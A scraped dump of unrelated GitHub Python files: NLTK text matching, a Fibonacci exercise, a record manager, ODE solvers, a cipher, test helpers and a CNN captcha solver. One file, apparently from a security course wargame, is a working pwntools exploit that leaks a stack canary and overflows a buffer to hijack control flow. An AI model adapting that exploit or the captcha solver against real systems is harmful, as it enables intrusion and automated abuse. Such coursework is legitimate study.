paths2:\n paths2.append(paths[i])\n\nprint(len(paths2))\n","repo_name":"GreenMemory16/Advent-of-Code","sub_path":"2021/Day12/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5294844771","text":"import nltk\nimport json\nfrom flask import Flask, request, jsonify\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\n\nnltk.download('words')\nnltk.download('punkt')\nnltk.download('stopwords')\nnltk.download('wordnet')\napp = Flask(__name__)\n\n\nenglish_words = set(nltk.corpus.words.words())\n\ndef preprocess_text(text):\n tokens = word_tokenize(text)\n stop_words = set(stopwords.words('english'))\n tokens = [WordNetLemmatizer().lemmatize(word.lower()) for word in tokens if word.isalnum() and word.lower() not in stop_words]\n return ' '.join(tokens)\n\ndef calculate_similarity(input_str, target_str):\n input_set = set(input_str.split())\n target_set = set(target_str.split())\n intersection = len(input_set.intersection(target_set))\n union = len(input_set.union(target_set))\n similarity = intersection / union if union != 0 else 0.0\n return similarity\n\ndef find_best_match(processed_input, custom_audiences):\n best_match = 'None'\n max_similarity = 0\n\n for audience in custom_audiences:\n similarity = calculate_similarity(processed_input, preprocess_text(audience))\n if similarity > max_similarity:\n max_similarity = similarity\n best_match = audience\n\n return best_match\n\n\n@app.route('/')\ndef best_match_audience():\n try:\n # Obtener la palabra y la lista de audiencias de la query string\n input_word = request.args.get('word', '')\n input_audiences = request.args.getlist('audiences')\n\n if not input_word or not input_audiences:\n return jsonify({\"error\": \"Word and Audiences are required in query string\"})\n\n # Procesar la palabra de entrada\n processed_word = preprocess_text(input_word)\n\n # Encontrar el mejor match en la lista de audiencias\n best_match = find_best_match(processed_word, input_audiences)\n\n return jsonify({\"best_match\": best_match})\n except Exception as e:\n return jsonify({\"error\": str(e)})\n\nif __name__ == '__main__':\n app.run(port=5001, debug=False)\n","repo_name":"coderunner86/nltk-text-processing","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16704019780","text":"#1> Write a program to display the Fibonacci sequences up to nth term where n is provided by the user.\n\na =0\nb=1\nc = 1\nn = int(input(\"Ener a number\"))\nprint(0,\"\\n\")\nfor x in range(0,n+1):\n print(c,\"\\n\")\n c=a+b\n a=b\n b=c\n","repo_name":"ShivangMandvia/PythonTest","sub_path":"Day6/Assignement4_1.py","file_name":"Assignement4_1.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"30529468545","text":"#!/usr/bin/env python3\n\nimport os, sys\n\nifile = sys.argv[1]\nofile = sys.argv[2]\n\nbs = open(ifile, 'r').read()\nwith open(ofile, 'w') as of:\n of.write(f'EXPORTS\\n;\\n')\n of.write(bs)\n","repo_name":"Phytolizer/wrapdb","sub_path":"subprojects/packagefiles/libexif/def.py","file_name":"def.py","file_ext":"py","file_size_in_byte":186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"16364657452","text":"\"\"\"Substitute detail controller menu.\"\"\"\n\nfrom application.view.substidetail import SubstiDetail\nfrom application.model.substitute import SubstiModel\nfrom application.model.category import Category\n\n\nclass SubstiDetailController:\n \"\"\"Substitute detail controller menu.\"\"\"\n\n def __init__(self, product):\n \"\"\"Initialize substitute detail controller menu.\"\"\"\n self.product = product\n self.subsittutes = SubstiModel()\n self.substidetail_view = SubstiDetail()\n self.cat_name = Category()\n\n def input(self):\n \"\"\"Handle input user of the substi detail menu.\"\"\"\n choice = input()\n check_substitute = []\n\n for substitute in self.subsittutes.show(\n self.cat_name.get_name(self.product[0])\n ):\n check_substitute.append(substitute[0])\n\n while choice not in str(check_substitute):\n self.substidetail_view.get_message(\"Erreur de saisie.\")\n self.show()\n choice = input()\n return \"get-substitute-\" + choice + \"-\" + str(self.product[0])\n\n if choice == \"0\":\n return \"main-menu\"\n else:\n return \"get-substitute-\" + choice + \"-\" + str(self.product[0])\n\n def save_confirmed(self):\n \"\"\"Save substitute confirmed.\"\"\"\n self.substidetail_view.save_confirmed()\n\n def show(self):\n \"\"\"Handle the substitute menu.\"\"\"\n self.substidetail_view.show(\n self.subsittutes.show(self.cat_name.get_name(self.product[0]))\n )\n","repo_name":"MaryOC2577/projet_5","sub_path":"application/controller/substidetail.py","file_name":"substidetail.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23637901144","text":"import re\nfrom re import IGNORECASE\nfrom typing import List, Union\n\nfrom pydantic.error_wrappers import ValidationError\nfrom pydantic.main import BaseModel\n\nfrom db import CRUD, Database\nfrom models.base_record import DEFAULT_NAMESPACE, BaseRecord\nfrom utils.exceptions import RecordNotFoundException\nfrom utils.json_merge_patch import json_merge_patch\n\n\nclass BaseRecordManager:\n\n model: [BaseRecord] = BaseModel\n model_name: str = \"base_record\"\n\n @classmethod\n def create(cls, db: Database, record: BaseModel) -> BaseRecord:\n \"\"\"Creates an record entry in the Database\n\n Arguments:\n db {Database} -- Database connection\n record {BaseModel} -- BaseModel subclass describing actual model implementation\n\n Returns:\n BaseRecord -- BaseRecord subclass instance which has been persisted in DB\n \"\"\"\n new_record = cls.model(**record.dict())\n new_record.save(db)\n return new_record\n\n @classmethod\n def find(cls, db: Database, skip: int = 0, limit: int = 25, sort: List[str] = None, search: str = None, search_fields: List[str] = None, filter_params=None) -> List[BaseRecord]:\n \"\"\"Fetches Records from Database with filtering and searching support\n\n Arguments:\n db {Database} -- Database connection\n\n Keyword Arguments:\n skip {int} -- Number of records to be skipped based on index (default: {0})\n limit {int} -- Number of records to be returned (default: {25})\n sort {List[str]} -- Sort order, based on records property name. This supports nested keys as well (default: {None})\n search {str} -- Search records based on search_fields (default: {None})\n search_fields {List[str]} -- Provides override for the search feature, basic support is added on uuid and name. This supports nested keys as well (default: {None})\n\n Returns:\n List[BaseRecord] -- List of BaseRecord instances that are persisted in DB\n \"\"\"\n if filter_params is None or not isinstance(filter_params, dict):\n filter_params = dict()\n\n if search_fields is None:\n search_fields = [\"uuid\"]\n\n if search:\n filter_params[\"$or\"] = []\n for search_field in search_fields:\n filter_params[\"$or\"].append({\n search_field: re.compile(search, re.IGNORECASE)\n })\n\n data = CRUD.find(db, cls.model_name, skip=skip,\n limit=limit,\n filter_params=filter_params,\n sort=sort)\n return [cls.model(**d) for d in data]\n\n @classmethod\n def find_by_uuid(cls, db: Database, record_uuid: str) -> BaseRecord:\n \"\"\"Fetches a single unique record based on records uuid.\n\n Arguments:\n db {Database} -- Database connection\n record_uuid {str} -- Record unique uuid\n\n Returns:\n BaseRecord -- BaseRecord subclass instance which has been persisted in DB\n \"\"\"\n data = CRUD.find_by_uuid(\n db, cls.model_name, record_uuid)\n record = cls.model(**data)\n return record\n\n @classmethod\n def find_by_name(cls, db: Database, name: str, unique=True) -> Union[BaseRecord, List[BaseRecord]]:\n \"\"\"Finds record/records based on name.\n\n Arguments:\n db {Database} -- Database connection\n name {str} -- name of the record\n\n Keyword Arguments:\n unique {bool} -- Toggles the methods behaviour to raise if multiple records found (default: {True})\n\n Raises:\n ValidationError: Raise ValidationError if no records are fetched\n ValidationError: Raise ValidationError if unique is passed as True and multiple records are fetched\n\n Returns:\n List[BaseRecord] -- Returns a list of BaseRecord.\n \"\"\"\n records = cls.find(db, search=name, search_fields=[\n \"name\", \"metadata.name\"])\n\n if unique:\n if len(records) > 1:\n errors = [\"Multiple %ss found with name [%s]\" %\n (cls.model.__name__, name)]\n raise ValidationError(errors)\n\n return records\n\n @classmethod\n def update(cls, db: Database, record_uuid: str, record: BaseModel) -> BaseRecord:\n \"\"\"Updates the record as it is passed\n\n Arguments:\n db {Database} -- Database connection\n record_uuid {str} -- unique record uuid\n record {BaseModel} -- updating record\n\n Returns:\n BaseRecord -- Updated record\n \"\"\"\n cls.find_by_uuid(db, record_uuid)\n updated_record = cls.model(**record.dict(), uuid=record_uuid)\n updated_record.save(db)\n return updated_record\n\n @classmethod\n def partial_update(cls, db: Database, record_uuid: str, record: BaseModel) -> BaseRecord:\n \"\"\"Update existing record by partial changes\n\n Arguments:\n db {Database} -- Database connection\n record_uuid {str} -- unique record uuid\n record {BaseModel} -- updating record data\n\n Returns:\n BaseRecord -- Updated record\n \"\"\"\n existing_record = cls.find_by_uuid(db, record_uuid)\n updated_record_data = json_merge_patch(\n existing_record.dict(), record.dict(skip_defaults=True))\n updated_record_data.update(uuid=record_uuid)\n updated_record = cls.model(**updated_record_data)\n updated_record.save(db)\n return updated_record\n\n @classmethod\n def delete(cls, db, record_uuid: str) -> BaseRecord:\n \"\"\"Deletes existing record\n\n Arguments:\n db {Database} -- Database connection\n record_uuid {str} -- unique record uuid\n\n Returns:\n BaseRecord -- Deleted record\n \"\"\"\n record: BaseRecord = cls.find_by_uuid(db, record_uuid)\n record.delete(db)\n return record\n","repo_name":"gala-events/gala-iam-api","sub_path":"src/api/models/base_record_manager.py","file_name":"base_record_manager.py","file_ext":"py","file_size_in_byte":5991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"30504752825","text":"from pwn import *\nfrom pwnlib.util.packing import p32\n\np = remote('comp6447.wtf', 24973)\nelf = ELF('./wargame2/stack-dump')\n\n\np.recvuntil(b'pointer ', drop=True)\n# ebp-0x71 contains stack pointer at the beginning\n# ebp-0x8 contains stack canary value\nstk_ptr = p32(int(p.recvline(), 16) + 0x71 - 0x8)\nlog.info(f\"The stack pointer is {stk_ptr}\")\n\np.recvuntil(b'quit', drop=True)\np.sendline(b\"a\")\n\np.recvuntil(b'len: ', drop=True)\np.sendline(stk_ptr)\n\np.recvuntil(b'quit', drop=True)\np.sendline(b'b')\n\np.recvline()\ncanary = p.recvline()\ncanary = canary[22:26]\nlog.info(f\"Canary: {canary}\")\n\np.recvuntil(b'quit', drop=True)\np.sendline(b\"a\")\n\n# The distance from the input to the return address is 108 bytes\n# padding + canary + padding + return address\npayload = b'A'*96 + canary + b'A'*8 + p32(elf.symbols['win'])\np.sendline(payload)\n\np.recvuntil(b'quit', drop=True)\np.sendline(b'd')\n\np.sendline(b\"cat flag\")\n\np.interactive()\np.close()\n\n","repo_name":"Zeal-L/UNSW","sub_path":"COMP6447/wargame2/stack-dump.py","file_name":"stack-dump.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"34161449978","text":"\"\"\" Helper Functions for Testing Module\"\"\"\n\n\nimport json\nimport os\nfrom shutil import rmtree\n\n_CURR_DIR = os.path.dirname(os.path.abspath(__file__))\n_CURR_DIR_PRAENT = os.path.abspath(os.path.join(_CURR_DIR, os.pardir))\nTEMP_TEST_DIR = os.path.join(_CURR_DIR_PRAENT, \"temp_test\")\nCONFIG_JSON_PATH = os.path.join(TEMP_TEST_DIR, \"config.json\")\nDATASET_PATH = os.path.join(_CURR_DIR_PRAENT, \"dataset\", \"box\")\nWRONG_DATASET_PATH = os.path.join(_CURR_DIR_PRAENT, \"dataset\", \"wrong_dataset\")\nOUTPUT_PATH = os.path.join(TEMP_TEST_DIR, \"output\")\nWRONG_OUTPUT_PATH = os.path.join(TEMP_TEST_DIR, \"wrong_output\")\n\n\ndef create_temp_test_dir():\n if not os.path.exists(TEMP_TEST_DIR):\n os.mkdir(TEMP_TEST_DIR)\n\n\ndef delete_temp_test_dir():\n if os.path.exists(TEMP_TEST_DIR):\n rmtree(TEMP_TEST_DIR)\n\n\ndef write_config_json(config):\n with open(CONFIG_JSON_PATH, \"w\") as file:\n json.dump(config, file)\n\n\ndef delete_config_json(config):\n if os.path.exists(CONFIG_JSON_PATH):\n os.remove(CONFIG_JSON_PATH)\n\n\ndef create_invalid_dataset_dir():\n if os.path.exists(TEMP_TEST_DIR) is not True:\n os.mkdir(TEMP_TEST_DIR)\n if os.path.exists(WRONG_DATASET_PATH) is not True:\n os.mkdir(WRONG_DATASET_PATH)\n else:\n rmtree(WRONG_DATASET_PATH)\n os.mkdir(WRONG_DATASET_PATH)\n\n\ndef create_valid_dataset_files():\n if os.path.exists(DATASET_PATH) is not True:\n os.mkdir(DATASET_PATH)\n for i in range(5):\n with open(os.path.join(DATASET_PATH, f\"dataset_{i}.txt\"), \"w\") as text_file:\n text_file.write(\"This Is only For Testing\")\n\n\ndef create_invalid_dataset_files():\n if os.path.exists(WRONG_DATASET_PATH) is not True:\n os.mkdir(WRONG_DATASET_PATH)\n for i in range(5):\n with open(\n os.path.join(WRONG_DATASET_PATH, f\"dataset_{i}.txt\"), \"w\"\n ) as text_file:\n text_file.write(\"This Is only For Testing\")\n\n\ndef clean_dataset_dir():\n if os.path.exists(WRONG_DATASET_PATH):\n rmtree(WRONG_DATASET_PATH)\n for file in os.listdir(DATASET_PATH):\n if os.path.basename(file).split(\".\")[-1] != \"txt\":\n continue\n os.remove(os.path.join(DATASET_PATH, file))\n\n\ndef create_temp_output_dir(writeble=True):\n if os.path.exists(TEMP_TEST_DIR) is not True:\n os.makedirs(TEMP_TEST_DIR, 0o777 if writeble else 0o400)\n # os.makedirs(TEMP_TEST_DIR)\n if os.path.exists(OUTPUT_PATH) is not True:\n os.mkdir(OUTPUT_PATH, 0o777 if writeble else 0o400)\n # os.makedirs(TEMP_TEST_DIR)\n else:\n rmtree(OUTPUT_PATH)\n os.mkdir(OUTPUT_PATH, 0o777 if writeble else 0o400)\n # os.makedirs(TEMP_TEST_DIR)\n\n\ndef create_invalid_output_files():\n if os.path.exists(OUTPUT_PATH) is not True:\n os.mkdir(OUTPUT_PATH)\n for i in range(5):\n with open(os.path.join(OUTPUT_PATH, f\"output_{i}.txt\"), \"w\") as text_file:\n text_file.write(\"This Is only For Testing\")\n","repo_name":"RahulDas-dev/Structure-from-Motion","sub_path":"tests/testtools.py","file_name":"testtools.py","file_ext":"py","file_size_in_byte":2953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6685270807","text":"import numpy as np\r\nimport scipy.optimize as sp\r\n\r\ndef explicitEuler(df, y0, t):\r\n y = np.empty([t.size, y0.size])\r\n y[0, :] = y0\r\n \r\n for i in range(t.size - 1):\r\n dt = t[i+1] - t[i]\r\n y[i+1,:] = y[i,:] + df(y[i,:],t[i]) * dt\r\n return y\r\n\r\ndef implicitEuler(df, y0, t):\r\n y = np.empty([t.size, y0.size])\r\n y[0, :] = y0\r\n \r\n for i in range(t.size - 1):\r\n dt = t[i+1] - t[i]\r\n y1 = y[i,:] + df(y[i,:],t[i+1]) * dt\r\n def R(yn): \r\n return y[i,:] + df(yn,t[i+1]) * dt - yn\r\n y[i+1,:] = sp.fsolve(R, y1)\r\n return y\r\n\r\ndef heun(df, y0, t):\r\n y = np.empty([t.size, y0.size])\r\n y[0, :] = y0\r\n \r\n for i in range(t.size - 1):\r\n dt = t[i+1] - t[i]\r\n\r\n k1 = df(y[i, :], t[i])\r\n k2 = df(y[i, :] + k1 * dt, t[i+1])\r\n y[i+1, :] = y[i,:] + dt/2 * (k1 + k2)\r\n\r\n return y\r\n\r\ndef rungeKutta(df, y0, t):\r\n y = np.empty([t.size, y0.size])\r\n y[0, :] = y0\r\n \r\n for i in range(t.size - 1):\r\n dt = t[i+1] - t[i]\r\n ti = t[i] + dt/2\r\n k1 = df(y[i,:], t[i])\r\n k2 = df(y[i, :] + dt/2 * k1, ti)\r\n k3 = df(y[i, :] + dt/2 * k2, ti)\r\n k4 = df(y[i, :] + dt * k3, t[i+1])\r\n y[i+1, :] = y[i,:] + dt/6 * (k1 + 2 * k2 + 2 * k3 + k4)\r\n\r\n return y","repo_name":"brock-eng/ODE-Integration-Methods","sub_path":"Solvers.py","file_name":"Solvers.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11375479568","text":"def substitution_encrypt(message, key, replacement_sequence):\n _substitution_encrypt = []\n\n for line in message:\n line_encrypt = \"\"\n for char in line:\n if char in key[0] or char in key[1]: # same as 'char.isalpha()' but more specific\n if char.isupper():\n char_index = key[0].index(char)\n line_encrypt += key[0][(char_index + replacement_sequence) % len(key[0])]\n else:\n char_index = key[1].index(char)\n line_encrypt += key[1][(char_index + replacement_sequence) % len(key[1])]\n else:\n line_encrypt += char\n _substitution_encrypt.append(line_encrypt)\n\n return _substitution_encrypt\n","repo_name":"AhmedMaherElSaeidi/encryption-script","sub_path":"substitution.py","file_name":"substitution.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29764187757","text":"import numpy as np \nimport tensorflow as tf\nimport random\nfrom PIL import Image, ImageDraw\nimport os\n\nNOW_PATH = str(os.getcwd()).replace('\\\\', '/') + \"/\"\nCAPTCHA_PATH = NOW_PATH + 'captcha_need/'\nLABEL_PATH = NOW_PATH + 'captcha/result.txt'\nDIVIDE_PATH = NOW_PATH + 'divide/'\nTEST_PATH = NOW_PATH + 'captcha_test/'\nMODEL_PATH = NOW_PATH + 'model/'\n\nIMAGE_HEIGHT = 24\nIMAGE_WEIGHT = 64\nIMAGE_SIZE = IMAGE_HEIGHT * IMAGE_WEIGHT\n\nDIVIDE_IMAGE_HEIGHT = 24\nDIVIDE_IMAGE_WEIGHT = 16\nDIVIDE_IMAGE_SIZE = DIVIDE_IMAGE_HEIGHT * DIVIDE_IMAGE_WEIGHT\n\nCAPTCHA_LENGTH = 4\nCAPTCHA_CLASS = 36\nLABEL_SIZE = CAPTCHA_CLASS * CAPTCHA_LENGTH\n\nDIVIDE_LABEL_SIZE = 36\n\nBATCH_SIZE = 300\n\nCONFIG = tf.ConfigProto()\nCONFIG.gpu_options.allow_growth = True\n# CONFIG.gpu_options.per_process_gpu_memory_fraction = 0.4\nSESS = tf.Session(config = CONFIG)\n\nclass CaptchaTensorFlow(object):\n def __init__(self, learn_rate = 0.00025):\n self.learn_rate = learn_rate\n \n # 得到图片路径\n def getImagePath(self, i, base_path = CAPTCHA_PATH):\n image_path = base_path + \"0\"\n if i < 100:\n image_path += \"0\"\n if i < 10:\n image_path += \"0\"\n image_path += str(i) + '.png'\n return image_path\n \n # 得到图片的像素\n def getImagePixel(self, image):\n try:\n res = np.array(image).flatten()\n except Exception as e:\n print(e)\n return res\n \n # 计算labels\n def calLabels(self):\n self.labels = np.zeros((self.sample_num, LABEL_SIZE))\n fp = open(LABEL_PATH)\n row = 0\n for line in fp.readlines():\n now_line = str(line).strip()\n col_labels = np.zeros((1, LABEL_SIZE))\n for i in range(CAPTCHA_LENGTH):\n if str.isdigit(str(now_line[i])):\n col_labels[0, i * CAPTCHA_CLASS + int(str(now_line[i]))] = 1\n else:\n col_labels[0, i * CAPTCHA_CLASS + ord(str(now_line[i])) - 87] = 1\n self.labels[row, :] = col_labels\n row += 1\n\n # 计算features\n def calFeatures(self):\n self.sample_num = len(os.listdir(CAPTCHA_PATH))\n self.features = np.zeros((self.sample_num, IMAGE_SIZE))\n for image_num in range(self.sample_num):\n now_image = Image.open(self.getImagePath(image_num + 1))\n self.features[image_num, :] = self.getImagePixel(now_image)\n \n # 得到验证码种类\n def getCaptchaClass(self):\n self.captcha_class = []\n for i in range(36):\n if i < 10:\n self.captcha_class.append(str(i))\n else:\n self.captcha_class.append(chr(i + 87))\n \n # 得到分割验证码的features和labels\n def getDivideFeaturesAndLabels(self):\n self.getCaptchaClass()\n self.features = np.zeros((4000, DIVIDE_IMAGE_SIZE))\n self.labels = np.zeros((4000, DIVIDE_LABEL_SIZE))\n self.sample_num = 0\n for now_class in self.captcha_class:\n now_path = DIVIDE_PATH + now_class\n for x in os.listdir(now_path):\n if x[-4:] != '.png':\n continue\n png_path = now_path + '/' + x\n now_image = Image.open(png_path)\n self.features[self.sample_num, :] = self.getImagePixel(now_image)\n if str.isdigit(now_class):\n self.labels[self.sample_num, int(now_class)] = 1\n else:\n self.labels[self.sample_num, ord(now_class) - 87] = 1\n self.sample_num += 1\n self.features = self.features[:self.sample_num, :]\n self.labels = self.labels[:self.sample_num, :]\n\n # 得到一个训练的batch\n def getBatch(self, batch_size = BATCH_SIZE): \n now_list = list(range(self.sample_num))\n random.shuffle(now_list)\n now_list = now_list[:batch_size]\n batch_x = self.features[now_list, :]\n batch_y = self.labels[now_list, :]\n return batch_x, batch_y\n \n # 初始化权重\n def weightVariable(self, shape, name = \"\"):\n initial = tf.truncated_normal(shape, mean = 0.0, stddev = 0.1)\n if name == \"\":\n return tf.Variable(initial)\n return tf.Variable(initial, name = name)\n\n # 初始化偏置\n def biasVariable(self, shape, name = \"\"):\n initial = tf.truncated_normal(shape = shape, stddev = 1.0)\n if name == \"\":\n return tf.Variable(initial)\n return tf.Variable(initial, name = name)\n \n # debug\n def debug(self, is_divide = 0):\n if not is_divide:\n now_height = IMAGE_HEIGHT\n now_weight = IMAGE_WEIGHT\n else:\n now_height = DIVIDE_IMAGE_HEIGHT\n now_weight = DIVIDE_IMAGE_WEIGHT\n\n num = 0\n while True:\n for i in range(now_height):\n for j in range(now_weight):\n print(int(self.features[num, i * now_weight + j]), end = '')\n print()\n print(\"\\nLabel:\", end = \"\")\n if not is_divide:\n print(self.bitsToResult(self.labels[num, :].reshape(1, LABEL_SIZE)))\n else:\n print(self.bitsToResultDivide(self.labels[num, :].reshape(1, DIVIDE_LABEL_SIZE)))\n input()\n num += 1\n \n # 卷积\n def conv2d(self, x, W, name = \"\"):\n if name == \"\":\n return tf.nn.conv2d(x, W, strides = [1, 1, 1, 1], padding = 'SAME')\n return tf.nn.conv2d(x, W, strides = [1, 1, 1, 1], padding = 'SAME', name = name)\n\n # 池化\n def maxPool2x2(self, x, name = \"\"):\n if name == \"\":\n return tf.nn.max_pool(x, ksize = [1, 2, 2, 1], strides = [1, 2, 2, 1], padding = 'SAME')\n return tf.nn.max_pool(x, ksize = [1, 2, 2, 1], strides = [1, 2, 2, 1], padding = 'SAME', name = name)\n \n # 初始化每一层\n def initCNNConv(self, pre_conv, channels_in, channels_out, index):\n with tf.name_scope('conv' + str(index)):\n # 计算权重(3,3表示卷积核为3*3的,channels_in表示输入通道数,channels_out输出通道数)\n W_conv = self.weightVariable([3, 3, channels_in, channels_out], name = 'W_conv' + str(index))\n W_max = tf.argmax(W_conv, )\n # 计算偏置\n b_conv = self.biasVariable([channels_out], name = 'b_conv' + str(index))\n # 卷积层\n h_conv = tf.nn.relu(tf.nn.bias_add(self.conv2d(pre_conv, W_conv), b_conv), name = 'h_conv' + str(index))\n # 池化层\n h_pool = self.maxPool2x2(h_conv, name = 'h_pool' + str(index))\n # 加入一层dropout\n # h_drop = tf.nn.dropout(h_pool, self.keep_prob, name = 'h_drop' + str(index))\n tf.summary.histogram('W_conv', W_conv)\n tf.summary.histogram('b_conv', b_conv)\n tf.summary.histogram('h_conv', h_conv)\n tf.summary.histogram('h_pool', h_pool)\n # tf.summary.histogram('h_drop', h_drop)\n return h_pool\n \n # CNN初始化\n def initCNN(self, is_divide = 0):\n if not is_divide:\n feature_size = IMAGE_SIZE\n feature_weight = IMAGE_WEIGHT\n feature_height = IMAGE_HEIGHT\n label_size = LABEL_SIZE\n else:\n feature_size = DIVIDE_IMAGE_SIZE\n feature_weight = DIVIDE_IMAGE_WEIGHT\n feature_height = DIVIDE_IMAGE_HEIGHT\n label_size = DIVIDE_LABEL_SIZE\n\n self.X = tf.placeholder(tf.float32, [None, feature_size], name = 'features')\n self.Y = tf.placeholder(tf.float32, [None, label_size], name = 'labels')\n self.keep_prob = tf.placeholder(tf.float32, name = 'keep_prob')\n # 转化成4d\n x_image = tf.reshape(self.X, [-1, feature_height, feature_weight, 1], name = 'x_image')\n tf.summary.image('x_image', x_image, 4)\n\n # 第一层卷积\n h_pool1 = self.initCNNConv(x_image, 1, 64, 1)\n\n # 第二层卷积\n h_pool2 = self.initCNNConv(h_pool1, 64, 128, 2)\n\n # 第三层卷积\n h_pool3 = self.initCNNConv(h_pool2, 128, 256, 3)\n\n # 全连接层\n with tf.name_scope('flat'):\n W_fc1 = self.weightVariable([feature_size // 64 * 256, 1080], name = 'W_fc1') # feature_size / 64 * 256\n b_fc1 = self.biasVariable([1080], name = 'b_fc1')\n h_pool3_flat = tf.reshape(h_pool3, [-1, feature_size // 64 * 256], name = 'h_pool3_flat')\n h_fc1 = tf.nn.relu(tf.add(tf.matmul(h_pool3_flat, W_fc1), b_fc1), name = 'h_fc1')\n h_fc1_drop = tf.nn.dropout(h_fc1, self.keep_prob, name = 'h_fc1_drop')\n tf.summary.histogram('W_fc1', W_fc1)\n tf.summary.histogram('b_fc1', b_fc1)\n tf.summary.histogram('h_pool3_flat', h_pool3_flat)\n tf.summary.histogram('h_fc1', h_fc1)\n tf.summary.histogram('h_fc1_drop', h_fc1_drop)\n\n # 输出层\n with tf.name_scope('output'):\n W_fc2 = self.weightVariable([1080, label_size], name = 'W_fc2')\n b_fc2 = self.biasVariable([label_size], name = 'b_fc2')\n y_conv = tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2, name = 'y_conv')\n tf.summary.histogram('W_fc2', W_fc2)\n tf.summary.histogram('b_fc2', b_fc2)\n tf.summary.histogram('y_conv', y_conv)\n \n tf.add_to_collection('pred_network', y_conv)\n\n return y_conv\n \n # 训练\n def train(self, is_divide = 0):\n if not is_divide:\n self.calFeatures()\n self.calLabels()\n else:\n self.getDivideFeaturesAndLabels() \n # self.debug(is_divide)\n y_conv = self.initCNN(is_divide)\n\n # 损失函数\n with tf.name_scope('loss'):\n loss = -tf.reduce_sum(self.Y * tf.log(y_conv + 1e-10)) # 加1e-10是必要的\n tf.summary.scalar('loss', loss)\n\n # optimizer 为了加快训练\n optimizer = tf.train.AdamOptimizer(learning_rate = self.learn_rate).minimize(loss)\n\n if not is_divide:\n predict = tf.reshape(y_conv, [-1, CAPTCHA_LENGTH, CAPTCHA_CLASS])\n max_idx_p = tf.argmax(predict, 2)\n max_idx_l = tf.argmax(tf.reshape(self.Y, [-1, CAPTCHA_LENGTH, CAPTCHA_CLASS]), 2)\n with tf.name_scope('accuracy'):\n correct_pred = tf.equal(max_idx_p, max_idx_l)\n accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n tf.summary.scalar('accuracy', accuracy)\n else:\n with tf.name_scope('accuracy'):\n correct_prediction = tf.equal(tf.argmax(y_conv, 1), tf.argmax(self.Y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n tf.summary.scalar('accuracy', accuracy)\n\n saver = tf.train.Saver()\n SESS.run(tf.global_variables_initializer())\n\n step = 0\n merged_summary = tf.summary.merge_all()\n summary_writer = tf.summary.FileWriter('captcha_logs')\n summary_writer.add_graph(SESS.graph)\n while step < 2001:\n batch_x, batch_y = self.getBatch()\n now_summary, now_loss, _ = SESS.run([merged_summary, loss, optimizer], feed_dict = {self.X: batch_x, self.Y: batch_y, self.keep_prob: 0.9})\n summary_writer.add_summary(now_summary, step)\n print(\"第%d步完成\"%step, end = \",loss:\")\n print(now_loss)\n\n # 每50 step计算一次准确率\n if step % 50 == 0:\n batch_x_test, batch_y_test = self.getBatch(150)\n now_summary, acc = SESS.run([merged_summary, accuracy], feed_dict = {self.X: batch_x_test, self.Y: batch_y_test, self.keep_prob: 1.})\n print(\"第%d步准确率为:\"%step, end = \"\")\n print(acc)\n summary_writer.add_summary(now_summary, step)\n \n step += 1\n saver.save(SESS, \"./model/capcha_model.ckpt\", global_step = step)\n \n # 结果转换为文本\n def bitsToResult(self, y):\n res = \"\"\n for i in range(CAPTCHA_LENGTH):\n for j in range(CAPTCHA_CLASS):\n if y[0, i * CAPTCHA_CLASS + j] >= 1:\n if j < 10:\n res += str(j)\n else:\n res += chr(j + 87)\n return res\n \n # 结果转换为文本\n def bitsToResultDivide(self, y):\n res = \"\"\n for i in range(DIVIDE_LABEL_SIZE):\n if y[0, i] >= 1:\n if i < 10:\n res += str(i)\n else:\n res += chr(i + 87)\n return res\n \n # 得到测试结果\n def getPredictResult(self, y):\n res = \"\"\n for i in range(CAPTCHA_LENGTH):\n now_list = y[0, i * CAPTCHA_CLASS : (i + 1) * CAPTCHA_CLASS].tolist()\n j = now_list.index(max(now_list))\n if j < 10:\n res += str(j)\n else:\n res += chr(j + 87)\n return res\n \n # 得到测试结果(divide)\n def getDividePredictResult(self, y):\n now_list = y[0].tolist()\n j = now_list.index(max(now_list))\n if j < 10:\n res = str(j)\n else:\n res = chr(j + 87)\n return res\n \n # 得到测试样本\n def getTestFeature(self, is_divide = 0):\n if not is_divide:\n self.test_num = (len(os.listdir(TEST_PATH)) - 1) // 2\n self.test_feature = np.zeros((self.test_num, IMAGE_SIZE))\n num = self.test_num\n else:\n self.test_num = (len(os.listdir(TEST_PATH)) - 1) // 2 * CAPTCHA_LENGTH\n self.test_feature = np.zeros((self.test_num, DIVIDE_IMAGE_SIZE))\n num = self.test_num // CAPTCHA_LENGTH\n\n for i in range(num):\n now_path = self.getImagePath(i + 1, TEST_PATH)[:-4] + '_test.png'\n now_image = Image.open(now_path)\n if not is_divide:\n self.test_feature[i, :] = self.getImagePixel(now_image)\n else:\n for j in range(CAPTCHA_LENGTH):\n divide_image = now_image.crop((j * DIVIDE_IMAGE_WEIGHT, 0, (j + 1) * DIVIDE_IMAGE_WEIGHT, DIVIDE_IMAGE_HEIGHT))\n self.test_feature[i * CAPTCHA_LENGTH + j, :] = 